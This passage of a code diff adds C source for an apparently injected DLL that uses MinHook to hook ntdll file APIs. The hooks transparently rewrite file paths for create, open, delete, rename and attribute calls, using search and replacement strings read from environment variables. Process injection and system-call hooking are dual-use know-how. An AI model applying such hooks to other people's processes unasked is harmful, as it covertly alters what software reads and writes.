if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
WCHAR tempPath[512] = { 0 };
|
||||||
|
SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511;
|
||||||
|
wcsncpy_s(tempPath, 512, normalizedPath, copyLen);
|
||||||
|
LogDebug(L"[NeedsRedirection] Checking normalized path: ");
|
||||||
|
LogDebug(tempPath);
|
||||||
|
LogDebug(L"[NeedsRedirection] Against search string: ");
|
||||||
|
LogDebug(g_SearchString);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (normalizedLength < searchLen) return FALSE;
|
||||||
|
|
||||||
|
// Search for the search string in the normalized path (case-insensitive)
|
||||||
|
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
|
||||||
|
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
|
||||||
|
WCHAR posStr[32];
|
||||||
|
wsprintfW(posStr, L"%zu", i);
|
||||||
|
LogDebug(posStr);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebug(L"[NeedsRedirection] NO MATCH");
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function to replace search string with the replacement string
|
||||||
|
WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) {
|
||||||
|
if (!originalPath || originalLength == 0 || !newLength) return NULL;
|
||||||
|
|
||||||
|
SIZE_T searchLen = wcslen(g_SearchString);
|
||||||
|
SIZE_T replaceLen = wcslen(g_ReplacementString);
|
||||||
|
|
||||||
|
if (searchLen == 0 || originalLength < searchLen) return NULL;
|
||||||
|
|
||||||
|
// Normalize the path
|
||||||
|
SIZE_T normalizedLength = originalLength;
|
||||||
|
const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength);
|
||||||
|
SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix
|
||||||
|
|
||||||
|
if (normalizedLength < searchLen) return NULL;
|
||||||
|
|
||||||
|
// Count occurrences (case-insensitive) in normalized portion
|
||||||
|
SIZE_T occurrences = 0;
|
||||||
|
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
|
||||||
|
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
|
||||||
|
occurrences++;
|
||||||
|
i += searchLen - 1; // Skip past this occurrence
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (occurrences == 0) return NULL;
|
||||||
|
|
||||||
|
// Calculate new length (prefix + modified path)
|
||||||
|
SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
|
||||||
|
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
|
||||||
|
if (!newPath) return NULL;
|
||||||
|
|
||||||
|
// Copy prefix (\??\ or other) if present
|
||||||
|
SIZE_T destIdx = 0;
|
||||||
|
for (SIZE_T i = 0; i < prefixLength; i++) {
|
||||||
|
newPath[destIdx++] = originalPath[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Perform replacement in normalized portion (case-insensitive)
|
||||||
|
SIZE_T srcIdx = 0;
|
||||||
|
|
||||||
|
while (srcIdx < normalizedLength) {
|
||||||
|
if (srcIdx <= normalizedLength - searchLen &&
|
||||||
|
wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) {
|
||||||
|
// Copy replacement string
|
||||||
|
for (SIZE_T j = 0; j < replaceLen; j++) {
|
||||||
|
newPath[destIdx++] = g_ReplacementString[j];
|
||||||
|
}
|
||||||
|
srcIdx += searchLen;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
newPath[destIdx++] = normalizedPath[srcIdx++];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*newLength = destIdx;
|
||||||
|
return newPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hook implementations
|
||||||
|
NTSTATUS NTAPI HookedNtCreateFile(
|
||||||
|
PHANDLE FileHandle,
|
||||||
|
ULONG DesiredAccess,
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PLARGE_INTEGER AllocationSize,
|
||||||
|
ULONG FileAttributes,
|
||||||
|
ULONG ShareAccess,
|
||||||
|
ULONG CreateDisposition,
|
||||||
|
ULONG CreateOptions,
|
||||||
|
PVOID EaBuffer,
|
||||||
|
ULONG EaLength
|
||||||
|
) {
|
||||||
|
PUNICODE_STRING originalString = NULL;
|
||||||
|
UNICODE_STRING newString = { 0 };
|
||||||
|
WCHAR* buffer = NULL;
|
||||||
|
|
||||||
|
// Only attempt redirection if hooks are properly initialized and we have the original function
|
||||||
|
if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||||
|
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||||
|
|
||||||
|
// Log all paths for debugging
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) {
|
||||||
|
WCHAR tempPath[512] = { 0 };
|
||||||
|
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
|
||||||
|
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
|
||||||
|
LogDebug(L"");
|
||||||
|
LogDebug(L"[NtCreateFile] Original Path: ");
|
||||||
|
LogDebug(tempPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||||
|
SIZE_T newLength = 0;
|
||||||
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
|
if (buffer) {
|
||||||
|
WCHAR tempBuf[512] = { 0 };
|
||||||
|
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||||
|
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||||
|
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
|
||||||
|
LogDebug(tempBuf);
|
||||||
|
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
|
||||||
|
AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
|
||||||
|
CreateOptions, EaBuffer, EaLength);
|
||||||
|
|
||||||
|
if (originalString) {
|
||||||
|
ObjectAttributes->ObjectName = originalString;
|
||||||
|
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtOpenFile(
|
||||||
|
PHANDLE FileHandle,
|
||||||
|
ULONG DesiredAccess,
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
ULONG ShareAccess,
|
||||||
|
ULONG OpenOptions
|
||||||
|
) {
|
||||||
|
PUNICODE_STRING originalString = NULL;
|
||||||
|
UNICODE_STRING newString = { 0 };
|
||||||
|
WCHAR* buffer = NULL;
|
||||||
|
|
||||||
|
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||||
|
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||||
|
|
||||||
|
// Log all paths for debugging
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) {
|
||||||
|
WCHAR tempPath[512] = { 0 };
|
||||||
|
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
|
||||||
|
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
|
||||||
|
LogDebug(L"");
|
||||||
|
LogDebug(L"[NtOpenFile] Original Path: ");
|
||||||
|
LogDebug(tempPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||||
|
SIZE_T newLength = 0;
|
||||||
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
|
if (buffer) {
|
||||||
|
WCHAR tempBuf[512] = { 0 };
|
||||||
|
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||||
|
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||||
|
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
|
||||||
|
LogDebug(tempBuf);
|
||||||
|
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
|
||||||
|
|
||||||
|
if (originalString) {
|
||||||
|
ObjectAttributes->ObjectName = originalString;
|
||||||
|
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) {
|
||||||
|
PUNICODE_STRING originalString = NULL;
|
||||||
|
UNICODE_STRING newString = { 0 };
|
||||||
|
WCHAR* buffer = NULL;
|
||||||
|
|
||||||
|
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||||
|
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||||
|
|
||||||
|
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||||
|
SIZE_T newLength = 0;
|
||||||
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
|
if (buffer) {
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes);
|
||||||
|
|
||||||
|
if (originalString) {
|
||||||
|
ObjectAttributes->ObjectName = originalString;
|
||||||
|
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtSetInformationFile(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass
|
||||||
|
) {
|
||||||
|
typedef struct {
|
||||||
|
BOOLEAN ReplaceIfExists;
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
ULONG FileNameLength;
|
||||||
|
WCHAR FileName[1];
|
||||||
|
} FILE_RENAME_INFO;
|
||||||
|
|
||||||
|
if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
|
||||||
|
FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
|
||||||
|
if (renameInfo->FileNameLength > 0) {
|
||||||
|
SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
|
||||||
|
|
||||||
|
if (NeedsRedirection(renameInfo->FileName, pathLength)) {
|
||||||
|
SIZE_T newLength = 0;
|
||||||
|
WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
|
||||||
|
|
||||||
|
if (newPath) {
|
||||||
|
ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
|
||||||
|
FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
|
||||||
|
|
||||||
|
if (newRenameInfo) {
|
||||||
|
newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
|
||||||
|
newRenameInfo->RootDirectory = renameInfo->RootDirectory;
|
||||||
|
newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
|
||||||
|
memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
|
||||||
|
|
||||||
|
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
|
||||||
|
|
||||||
|
HeapFree(GetProcessHeap(), 0, newRenameInfo);
|
||||||
|
HeapFree(GetProcessHeap(), 0, newPath);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
HeapFree(GetProcessHeap(), 0, newPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtQueryAttributesFile(
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PVOID FileInformation
|
||||||
|
) {
|
||||||
|
PUNICODE_STRING originalString = NULL;
|
||||||
|
UNICODE_STRING newString = { 0 };
|
||||||
|
WCHAR* buffer = NULL;
|
||||||
|
|
||||||
|
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||||
|
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||||
|
|
||||||
|
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||||
|
SIZE_T newLength = 0;
|
||||||
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
|
if (buffer) {
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation);
|
||||||
|
|
||||||
|
if (originalString) {
|
||||||
|
ObjectAttributes->ObjectName = originalString;
|
||||||
|
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtQueryFullAttributesFile(
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PVOID FileInformation
|
||||||
|
) {
|
||||||
|
PUNICODE_STRING originalString = NULL;
|
||||||
|
UNICODE_STRING newString = { 0 };
|
||||||
|
WCHAR* buffer = NULL;
|
||||||
|
|
||||||
|
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||||
|
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||||
|
|
||||||
|
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||||
|
SIZE_T newLength = 0;
|
||||||
|
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
|
if (buffer) {
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation);
|
||||||
|
|
||||||
|
if (originalString) {
|
||||||
|
ObjectAttributes->ObjectName = originalString;
|
||||||
|
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtQueryDirectoryFile(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
HANDLE Event,
|
||||||
|
PVOID ApcRoutine,
|
||||||
|
PVOID ApcContext,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass,
|
||||||
|
BOOLEAN ReturnSingleEntry,
|
||||||
|
PUNICODE_STRING FileName,
|
||||||
|
BOOLEAN RestartScan
|
||||||
|
) {
|
||||||
|
return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
|
||||||
|
FileInformation, Length, FileInformationClass,
|
||||||
|
ReturnSingleEntry, FileName, RestartScan);
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
HANDLE Event,
|
||||||
|
PVOID ApcRoutine,
|
||||||
|
PVOID ApcContext,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass,
|
||||||
|
ULONG QueryFlags,
|
||||||
|
PUNICODE_STRING FileName
|
||||||
|
) {
|
||||||
|
return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
|
||||||
|
FileInformation, Length, FileInformationClass,
|
||||||
|
QueryFlags, FileName);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Install all hooks
|
||||||
|
void InstallNtApiHooks(LPVOID lpParameter) {
|
||||||
|
// Use a global try-catch to prevent any crashes
|
||||||
|
__try {
|
||||||
|
#if ENABLE_DEBUG_LOGGING
|
||||||
|
// Enable logging for debugging
|
||||||
|
WCHAR logPath[512];
|
||||||
|
__try {
|
||||||
|
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
|
||||||
|
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
|
g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("=== DLL Injection Started ===");
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Initialize to empty strings to prevent crashes
|
||||||
|
g_SearchString[0] = L'\0';
|
||||||
|
g_ReplacementString[0] = L'\0';
|
||||||
|
|
||||||
|
// Try to get configuration from environment variables
|
||||||
|
__try {
|
||||||
|
WCHAR envSearchString[512] = { 0 };
|
||||||
|
WCHAR envReplaceString[512] = { 0 };
|
||||||
|
|
||||||
|
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
|
||||||
|
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
|
||||||
|
|
||||||
|
if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
|
||||||
|
wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
|
||||||
|
g_SearchString[searchLen] = L'\0';
|
||||||
|
wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
|
||||||
|
g_ReplacementString[replaceLen] = L'\0';
|
||||||
|
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebug(L"========================================");
|
||||||
|
LogDebug(L"[ENV] Search string from env: ");
|
||||||
|
LogDebug(g_SearchString);
|
||||||
|
LogDebug(L"[ENV] Replacement string from env: ");
|
||||||
|
LogDebug(g_ReplacementString);
|
||||||
|
|
||||||
|
char lenMsg[256];
|
||||||
|
sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString));
|
||||||
|
LogDebugA(lenMsg);
|
||||||
|
LogDebug(L"========================================");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("Environment variables not found, hooks disabled");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("Exception reading environment variables");
|
||||||
|
}
|
||||||
|
g_SearchString[0] = L'\0';
|
||||||
|
g_ReplacementString[0] = L'\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize MinHook (this must succeed)
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("Initializing MinHook...");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (MH_Initialize() != MH_OK) {
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("ERROR: MinHook initialization failed!");
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("MinHook initialized successfully");
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (!ntdll) {
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("ERROR: Failed to get ntdll.dll handle!");
|
||||||
|
}
|
||||||
|
MH_Uninitialize();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("Got ntdll.dll handle");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hook all the NT APIs
|
||||||
|
FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile");
|
||||||
|
if (pNtCreateFile) {
|
||||||
|
MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile);
|
||||||
|
MH_EnableHook(pNtCreateFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile");
|
||||||
|
if (pNtOpenFile) {
|
||||||
|
MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile);
|
||||||
|
MH_EnableHook(pNtOpenFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile");
|
||||||
|
if (pNtDeleteFile) {
|
||||||
|
MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile);
|
||||||
|
MH_EnableHook(pNtDeleteFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile");
|
||||||
|
if (pNtSetInformationFile) {
|
||||||
|
MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile);
|
||||||
|
MH_EnableHook(pNtSetInformationFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile");
|
||||||
|
if (pNtQueryAttributesFile) {
|
||||||
|
MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile);
|
||||||
|
MH_EnableHook(pNtQueryAttributesFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile");
|
||||||
|
if (pNtQueryFullAttributesFile) {
|
||||||
|
MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile);
|
||||||
|
MH_EnableHook(pNtQueryFullAttributesFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile");
|
||||||
|
if (pNtQueryDirectoryFile) {
|
||||||
|
MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile);
|
||||||
|
MH_EnableHook(pNtQueryDirectoryFile);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile");
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx");
|
||||||
|
if (pNtQueryDirectoryFileEx) {
|
||||||
|
MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx);
|
||||||
|
MH_EnableHook(pNtQueryDirectoryFileEx);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
|
||||||
|
}
|
||||||
|
|
||||||
|
g_HooksInitialized = TRUE;
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
LogDebugA("=== All hooks installed successfully ===");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
char excMsg[256];
|
||||||
|
sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode());
|
||||||
|
LogDebugA(excMsg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void RemoveNtApiHooks() {
|
||||||
|
__try {
|
||||||
|
LogDebugA("=== Removing hooks ===");
|
||||||
|
g_HooksInitialized = FALSE;
|
||||||
|
MH_DisableHook(MH_ALL_HOOKS);
|
||||||
|
MH_Uninitialize();
|
||||||
|
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
CloseHandle(g_LogFile);
|
||||||
|
g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
|
// Fail silently on cleanup
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// NT API Hooking Header
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _NTAPIHOOKS_H
|
||||||
|
#define _NTAPIHOOKS_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Initialize all NT API hooks
|
||||||
|
void InstallNtApiHooks(LPVOID lpParameter);
|
||||||
|
|
||||||
|
// Remove all NT API hooks
|
||||||
|
